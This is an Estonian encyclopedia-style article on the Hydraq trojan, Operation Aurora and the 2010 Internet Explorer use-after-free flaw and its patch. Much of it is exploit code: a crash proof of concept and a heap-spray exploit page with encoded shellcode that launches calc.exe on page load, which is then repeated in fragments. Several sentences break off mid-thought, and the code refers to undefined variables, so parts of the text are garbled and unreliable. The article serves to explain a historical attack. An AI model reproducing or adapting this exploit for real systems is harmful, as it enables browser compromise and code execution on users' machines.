HydraqHydraq on pahavara (Trooja hobune), mida kasutati operatsiooni Aurora käigus. Pahavara oli suunatud Google'i ja teiste Ameerika Ühendriikide suurettevõtete suunas. Rünnakud toimusid peamiselt 2009. aastal.[1] 2010. aasta 14. jaanuaril andis Microsoft avalikkusele teada, et nende veebibrauseris, Internet Exploreris, on turvaauk, mille abil on võimalik kasutaja arvutis käivitada võõrast koodi (võõras kood – skript, mis pole pärit algselt ohvri arvutist, vaid tuleb veebilehega kaasa)[2]. Turvaaugu abil oli võimalik saada ligipääs kasutaja arvutile. Eriti ohtlikuks tegi selle fakt, et häkker sai samad õigused, mis olid algsel arvuti kasutajal, ehk kui arvuti kasutajal olid administratiivsed kasutajaõigused, siis sai ka häkker samad õigused.[3] Turvaauk puudutas tugevalt järgmisi Internet Exploreri versioone: 6, 6 SP, 7 ja 8.[4] Microsoft ei olnud sellest turvaaugust teadlik, kuni seda kasutati Aurora operatsioonis. Auroraga seotud ründed toimusid aastatel 2009 ja 2010 [5]. Ründe hetkel oli tegemist nullpäeva turvaauguga, mis muutis selle kasutamise eriti lihtsaks, sest seda selle rünnaku vastu oli raske valmistuda. Turvaaugu kirjeldusTurvaauk oli seotud veaga mälu halduses. Viga seisnes selles, et ründajal oli võimalik käivitada koodi Internet Exploreri veebibrauseris. Koodi sai käivitada, kui saadi ligipääs kustutatud sündmuse objekti viidale, mis tekitaski vea mäluhalduses. Kasutatakse ka nime use-after-free.[5] See turvaauk peitus Internet Exploreri koodis, mis asus
Viga saab alguse siis, kui kopeeritakse ühte Skript, mis kasutab kirjeldatud nõrkust, et veebibrauser kokku jooksutada: function window :: onload ()
{
var SourceElement = document.createElement ("div");
document.body.appendChild (SourceElement);
var SavedEvent = null;
SourceElement.onclick = function () {
SavedEvent = document.createEventObject (event);
document.body.removeChild (event.srcElement);
}
SourceElement.fireEvent ("onclick");
SourceElement = SavedEvent.srcElement;
}
Skript loob HTML elemendi Turvaaugu kasutamineSiin on kood, mis kasutab ära Hydraq Trojani kasutatavat turvaauku. Järgnev koodijupp käivitab veebilehe külastamisel kalkulaatori.[8] <html>
<script>
var v1 = new Array();
for (i = 0; i < 200; i++) {
v1[i] = document.createElement("COMMENT");
v1[i].data = "AAA"; }
var e1 = null;
function HeapSpray() {
v2 = new Array();
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape( ’%u9090%u9090%u82be%u5fa0%u2b4e%udbc9%ub1cc
%ud933%u2474%u58f4%u7031%u0310%u1070%u4283%ubda4%ubebb%uc84d%u3e44%uab8e%udbcd%uf9bf%ua8aa
%ucd92%ufcb9%ua51e%u14ec%ucb94%u1b38%u611d%u121f%u479e%uf89f%uc95c%u0263%u29b1%ucd5d
%u28c4%u339a%u7826%u3873%u6d95%u7cf0%u8f26%u0bd6%uf716%ucb53%u4de3%u1b5d%ud95b
%u8315%u85d7%ub285%ud634%ufdfa%u2d31%ufc88%u7f93%ucf71%u2cdb%ue04c
%u2dd1%uc688%u5809%u35e2%u5bb7%u4431%ue963%ueea4%u49e0%u0f0d
%u0f24%u03c6%u5b81%u0780%u8f14%u33ba%u2e9d%ub26d%u14e5%u9fa9%u35be%u45e8%u4910%u21ea%uefcd
%uc360%u891a%u892a%u1bdd%uf451%u23de%u565a%u12b7%u39d1%uaac0%u7e30%ue13e%ud619%uacd7%u6bcb
%u4eba%uaf26%uccc3%u4fc3%ucc30%u4aa1%u4a7c%u2659%u3fed%u955d%u6a0e%u783e%uf69d%u1fef
%u9c25%u41ef’);
var spray = unescape(’%u0c0d’);
do { spray += spray; } while( SprayValue.length < 880500 );
for (j = 0; j < 100; j++)
v2[j] = spray + shellcode;}
function Remove(Value1) {
HeapSpray();
e1 = document.createEventObject(Value1);
document.getElementById("SpanID").innerHTML = "";
window.setInterval(Overwrite, 50);}
function Overwrite() {
buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
for (i = 0; i < Array1.length; i++)
v1[i].data = buffer;
var t = e1.srcElement; }
</script>
<body>
<span id="SpanID"><IMG src="abcd.gif" onload="Remove(event)" /></span>
</body>
</html>
Implementatsiooni seletusvar v1 = new Array();
for (i = 0; i < 200; i++) {
v1[i] = document.createElement("COMMENT");
v1[i].data = "AAA"; }
Antud for-tsükkel loob massiivi
<body>
<span id="SpanID"><IMG src="abcd.gif" onload="Remove(event)" /></span>
</body>
Kutsutakse välja meetod
function HeapSpray() {
v2 = new Array();
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape( ’%u9090%u9090%u82be%u5fa0%u2b4e%udbc9%ub1cc
%ud933%u2474%u58f4%u7031%u0310%u1070%u4283%ubda4%ubebb%uc84d%u3e44%uab8e%udbcd%uf9bf%ua8aa
%ucd92%ufcb9%ua51e%u14ec%ucb94%u1b38%u611d%u121f%u479e%uf89f%uc95c%u0263%u29b1%ucd5d
%u28c4%u339a%u7826%u3873%u6d95%u7cf0%u8f26%u0bd6%uf716%ucb53%u4de3%u1b5d%ud95b
%u8315%u85d7%ub285%ud634%ufdfa%u2d31%ufc88%u7f93%ucf71%u2cdb%ue04c
%u2dd1%uc688%u5809%u35e2%u5bb7%u4431%ue963%ueea4%u49e0%u0f0d
%u0f24%u03c6%u5b81%u0780%u8f14%u33ba%u2e9d%ub26d%u14e5%u9fa9%u35be%u45e8%u4910%u21ea%uefcd
%uc360%u891a%u892a%u1bdd%uf451%u23de%u565a%u12b7%u39d1%uaac0%u7e30%ue13e%ud619%uacd7%u6bcb
%u4eba%uaf26%uccc3%u4fc3%ucc30%u4aa1%u4a7c%u2659%u3fed%u955d%u6a0e%u783e%uf69d%u1fef
%u9c25%u41ef’);
var spray = unescape(’%u0c0d’);
do { spray += spray; } while( SprayValue.length < 880500 );
for (j = 0; j < 100; j++)
v2[j] = spray + shellcode;}
function Remove(Value1) {
HeapSpray();
e1 = document.createEventObject(Value1);
document.getElementById("SpanID").innerHTML = "";
window.setInterval(Overwrite, 50);}
Pärast function Overwrite() {
buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
for (i = 0; i < Array1.length; i++)
v1[i].data = buffer;
var t = e1.srcElement; }
Parandus21. jaanuaril 2010 andis Microsoft välja Internet Exploreri uuenduse, mis lisaks teistele turvariskidele parandas ka kirjeldatud turvaagu.[3] Uuenduse juurde kuulunud teates ei olnudki kirjas, kuidas midagi parandati, mis on sagedane juhtum suletud lähtekoodiga toodetel. See aga ei takistanud uudishimulikke inimesi täpsemalt uurimast. Selgus, et Lisaks sellele lisati ka Viited
|